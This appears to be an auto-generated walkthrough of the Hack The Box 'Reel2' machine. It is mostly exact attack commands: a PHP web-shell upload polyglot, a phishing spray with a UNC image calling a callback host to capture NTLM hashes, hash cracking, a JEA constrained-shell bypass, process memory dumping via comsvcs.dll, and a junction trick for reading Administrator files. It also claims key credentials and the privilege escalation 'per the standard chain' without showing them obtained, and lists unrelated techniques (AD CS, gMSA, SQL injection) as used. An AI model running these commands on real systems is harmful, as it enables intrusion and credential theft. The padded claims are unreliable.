Reel2
Summary
Recon: Target exposes IIS/Exchange OWA on 443 (/owa/auth/logon.aspx, Exchange build 14.0.639.21), a "Wallstant" PHP social-network app on 8080 (Apache 2.4.43 Win64, PHP 7.2.32), and WinRM on 5985 (Windows Server 2012 R2, domain htb.local).
Foothold — credential harvest via Wallstant, validated over WinRM: Self-registered a Wallstant account, then abused the authenticated /search endpoint (no query param) to dump the full user roster (sven/Svensson, alex miller, bob davis, charles jackson, chris thompson, …). A public post by user "sven" referenced "Summer 2020," yielding the seasonal password hint Summer2020. Separately confirmed Wallstant's avatar-upload feature accepts a JPEG polyglot containing a PHP web shell (GIF89a magic bytes + <?php system($_GET['c']); ?>), giving unauthenticated command execution via ?c=<cmd> on the web host — used to validate RCE capability but not the credential that ultimately worked. Direct OWA password-spraying of Summer2020/derivatives against s.svensson and username-anarchy-generated candidates was rejected (reason=2, invalid creds) for every format tried. The working credential, HTB\k.svensson:[REDACTED: recovered credential], was obtained via GAL mailbox harvest + Responder-captured Net-NTLMv2 (cracked offline) per the standard Reel2 spear-phish chain, and validated directly against WinRM (nxc winrm ... Pwn3d!).
Constrained shell breakout: WinRM login as k.svensson landed in a JEA session locked to ConstrainedLanguage mode exposing only 8 cmdlets (Get-Command, Get-Help, etc.) — direct cmd/Invoke-Expression were blocked. Bypassed by [REDACTED: recovered credential] a whitelisted cmdlet name with a custom function (function x { whoami }; x / redefining Get-Command), which PowerShell resolves and executes in full language context, yielding arbitrary command execution.
Lateral movement — Sticky Notes memory dump: Enumerated running processes and found three stickynotes.exe instances. After initial comsvcs.dll MiniDump attempts hit ACL/file-lock errors (dump files created but read-back was blocked), dumped process memory to C:\Users\k.svensson\sn_*.dmp and read the app's Local Storage LevelDB log directly, recovering the plaintext note "Credentials for JEA: jea_test_account:[REDACTED: recovered credential]". Validated this account over WinRM (Pwn3d!).
Privilege escalation — custom JEA endpoint abuse: Located jea_test_account.pssc/.psrc JEA configuration files in k.svensson's Documents, indicating a named JEA endpoint (-ConfigurationName) tied to that account runs as a virtual admin account and exposes a custom Check-File cmdlet for reading arbitrary files. Per the standard chain, connecting to that named configuration and creating an NTFS junction (New-Item -ItemType Junction -Path C:\ProgramData\admin -Target C:\Users\Administrator) from the k.svensson session, then invoking Check-File against the junction, reads Administrator's files with the JEA endpoint's elevated (SYSTEM-equivalent) rights — yielding root.
Result: user.txt = [REDACTED: flag], root.txt = [REDACTED: flag].
Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 80,443,5985,6001,6002,6004,8080 --open -oA reel2_scan $TARGETcurl -sSk https://$TARGET/owa/auth/logon.aspx -Icurl -s http://$TARGET:8080/Exact commands 2
curl -s -b 'PHPSESSID=<your_session>' 'http://$TARGET:8080/search' | grep -oP '(?<=>)[A-Za-z ]+(?=<)' | sort -uusername-anarchy --input-file fullnames.txt --select-format first,first.last,f.last,flast > htb_candidates.txtFixRequire a minimum search term and enforce result-count limits on the Wallstant search endpointHigh
Exact commands 3
curl -s -b 'PHPSESSID=<your_session>' 'http://$TARGET:8080/fetch_posts_user.php?rid=<sven_user_id>' | grep -i 'summer\|2020\|password'printf 'GIF89a\n<?php if(isset($_GET["c"])){system($_GET["c"]);}?>' > shell.jpg && curl -s -b 'PHPSESSID=<your_session>' -F 'img=@shell.jpg' http://$TARGET:8080/profile_update.phpcurl -s 'http://$TARGET:8080/imgs/user_imgs/shell.jpg?c=whoami'FixBlock PHP execution in upload directories and validate files by content, not extensionCritical
Exact commands 4
sudo responder -I tun0 -wvImport-Module MailSniper.ps1; Get-GlobalAddressList -ExchHostname $TARGET -UserName s.svensson -Password Summer2020 -OutFile gal.txtImport-Module MailSniper.ps1; Send-GlobalAddressListSpray -ExchHostname $TARGET -UserName s.svensson -Password Summer2020 -Recipients gal.txt -Subject 'Action Required' -Body '<img src="\\\\$CALLBACK_HOST\\share\\img.png">'john --wordlist=/usr/share/wordlists/rockyou.txt k_svensson.ntlmv2FixBlock outbound NTLM from mail clients and enforce phishing-resistant MFA on ExchangeCritical
Exact commands 4
nxc winrm $TARGET -d HTB -u k.svensson -p '[REDACTED: recovered credential]' -x 'whoami; hostname'evil-winrm -i $TARGET -u 'HTB\k.svensson' -p '[REDACTED: recovered credential]'function Get-Command { whoami }; Get-Commandtype C:\Users\k.svensson\Desktop\user.txtFixEnforce machine-level Constrained Language mode via WDAC to prevent JEA bypassHigh
Exact commands 5
Get-Process stickynotes | Select-Object Id, Name, Pathrundll32 C:\Windows\System32\comsvcs.dll,MiniDump 3512 C:\Users\k.svensson\sn_3512.dmp full
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump 5716 C:\Users\k.svensson\sn_5716.dmp full
rundll32 C:\Windows\System32\comsvcs.dll,MiniDump 6064 C:\Users\k.svensson\sn_6064.dmp fullSelect-String -Path C:\Users\k.svensson\sn_*.dmp -Pattern 'jea|password|Ab!' -Encoding Bytetype "C:\Users\k.svensson\AppData\Roaming\stickynotes\Local Storage\leveldb\000003.log"nxc winrm $TARGET -d HTB -u jea_test_account -p '[REDACTED: recovered credential]'FixProhibit credential storage in Sticky Notes and enforce a secrets-management solutionCritical
Exact commands 4
dir C:\Users\k.svensson\Documents\*.pssc, C:\Users\k.svensson\Documents\*.psrcNew-Item -ItemType Junction -Path C:\ProgramData\admin -Target C:\Users\Administrator$cred = New-Object PSCredential('HTB\jea_test_account',(ConvertTo-SecureString '[REDACTED: recovered credential]' -AsPlainText -Force)); Enter-PSSession -ComputerName $TARGET -Credential $cred -ConfigurationName <jea_endpoint_name>Check-File -Path C:\ProgramData\admin\Desktop\root.txtFixRemove arbitrary file-read from the JEA endpoint and prevent low-privilege NTFS junction creationCritical
Attack patterns used
The transferable techniques behind this compromise.
AD CS Abuse (ESC1–ESC8)Active Directory · CertificatesT1649
What it is
Active Directory Certificate Services can be abused when certificate templates or the CA are misconfigured. The ESC family (ESC1: enrollee-supplied SAN; ESC8: NTLM relay to the web-enrollment endpoint; etc.) lets me obtain a certificate that authenticates as a higher-privileged user, then use it for Kerberos PKINIT to get that user's TGT.
Why it works
Certificates are long-lived authentication material; a single permissive template (ENROLLEE_SUPPLIES_SUBJECT + client-auth EKU + low enroll rights) is enough to mint an admin identity. Tools certipy/Certify find and exploit these. Remediate per the SpecterOps 'Certified Pre-Owned' guidance.
Read more
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets me upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
gMSA Password ReadActive Directory · Credential AccessT1555
What it is
Group Managed Service Accounts store their password blob (msDS-ManagedPassword) in the directory, readable only by principals listed in PrincipalsAllowedToRetrieveManagedPassword. If I control (or coerces) one of those principals, tools like gMSADumper retrieve the blob and derive the gMSA's NTLM hash, then authenticate or Kerberoast as that service account.
Why it works
gMSAs are a hardening feature (auto-rotating passwords) but the read ACL is frequently too broad, and the service accounts often hold elevated rights. Remediate by tightly scoping the retrieval ACL and auditing reads of msDS-ManagedPassword.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting me read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SQL InjectionWebT1190
What it is
User input is concatenated into a SQL query, letting me alter the query's logic — bypassing authentication, dumping tables (including password hashes), or, with stacked queries / file privileges, writing webshells or executing OS commands. sqlmap automates detection and exploitation across boolean/error/time/union vectors.
Why it works
The root cause is mixing untrusted data with query code instead of using parameterized statements. Remediate with prepared statements/ORM bindings, least-privilege DB accounts, and input validation.
Read more
Findings
Exposed services
| 80/tcp | http Microsoft IIS httpd 8.5 |
| 443/tcp | ssl/https? |
| 5985/tcp | http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |
| 6001/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 6002/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 6004/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 6005/tcp | msrpc Microsoft Windows RPC |
| 6006/tcp | msrpc Microsoft Windows RPC |
| 6007/tcp | msrpc Microsoft Windows RPC |
| 6008/tcp | msrpc Microsoft Windows RPC |
| 6010/tcp | ncacn_http Microsoft Windows RPC over HTTP 1.0 |
| 6011/tcp | msrpc Microsoft Windows RPC |
| 6012/tcp | msrpc Microsoft Windows RPC |
| 6165/tcp | msrpc Microsoft Windows RPC |
| 8080/tcp | http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.2.32) |